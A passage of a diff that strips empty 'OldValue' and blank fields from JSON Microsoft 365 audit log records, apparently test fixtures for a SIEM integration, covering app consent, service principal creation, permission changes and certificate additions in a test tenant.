User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -10667,31 +10339,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -10871,31 +10528,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -11075,31 +10717,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -11279,31 +10906,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -11484,30 +11096,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -11688,30 +11294,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -11892,30 +11492,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -12096,30 +11690,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -12300,30 +11888,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -12514,8 +12096,7 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess", - "OldValue": "" + "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -12525,7 +12106,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -12708,8 +12288,7 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess", - "OldValue": "" + "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -12719,7 +12298,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -12902,8 +12480,7 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess", - "OldValue": "" + "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -12913,7 +12490,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -13096,8 +12672,7 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess", - "OldValue": "" + "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -13107,7 +12682,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -13280,22 +12854,18 @@ }, "ModifiedProperties": { "Application_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "Application_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "Application_ObjectID": { - "NewValue": "33cdc459-1335-4d6c-b773-f5eef4df7793", - "OldValue": "" + "NewValue": "33cdc459-1335-4d6c-b773-f5eef4df7793" } }, "ObjectId": "asr@testsiem.onmicrosoft.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "User_755e500a-6c03-46b0-b53b-282f23374e3b", @@ -13490,22 +13060,19 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", - "OldValue": "" + "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential" }, "ServicePrincipalName": { "NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]", "OldValue": "[]" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -13701,22 +13268,19 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", - "OldValue": "" + "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential" }, "ServicePrincipalName": { "NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]", "OldValue": "[]" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -13912,22 +13476,19 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", - "OldValue": "" + "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential" }, "ServicePrincipalName": { "NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]", "OldValue": "[]" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -14123,22 +13684,19 @@ "OldValue": "[]" }, "Included_Updated_Properties": { - "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", - "OldValue": "" + "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential" }, "ServicePrincipalName": { "NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]", "OldValue": "[]" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -14318,7 +13876,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -14489,8 +14046,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "KeyDescription", - "OldValue": "" + "NewValue": "KeyDescription" }, "KeyDescription": { "NewValue": "[\r\n \"[KeyIdentifier=6d944a5f-234c-4879-8de4-39f089d8b96b,KeyType=AsymmetricX509Cert,KeyUsage=Verify,DisplayName=E=asr@example.net, CN=testsiem.onmicrosoft.com, OU=SIEM, O=Elastic, L=Barcelona, S=Barce]\"\r\n]", @@ -14500,7 +14056,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -14671,8 +14226,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "KeyDescription", - "OldValue": "" + "NewValue": "KeyDescription" }, "KeyDescription": { "NewValue": "[\r\n \"[KeyIdentifier=6d944a5f-234c-4879-8de4-39f089d8b96b,KeyType=AsymmetricX509Cert,KeyUsage=Verify,DisplayName=E=asr@example.net, CN=testsiem.onmicrosoft.com, OU=SIEM, O=Elastic, L=Barcelona, S=Barce]\"\r\n]", @@ -14682,7 +14236,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -14853,19 +14406,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -15044,19 +14591,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -15235,19 +14776,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -15426,8 +14961,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -15437,7 +14971,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -15608,8 +15141,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -15619,7 +15151,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -15790,8 +15321,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -15801,7 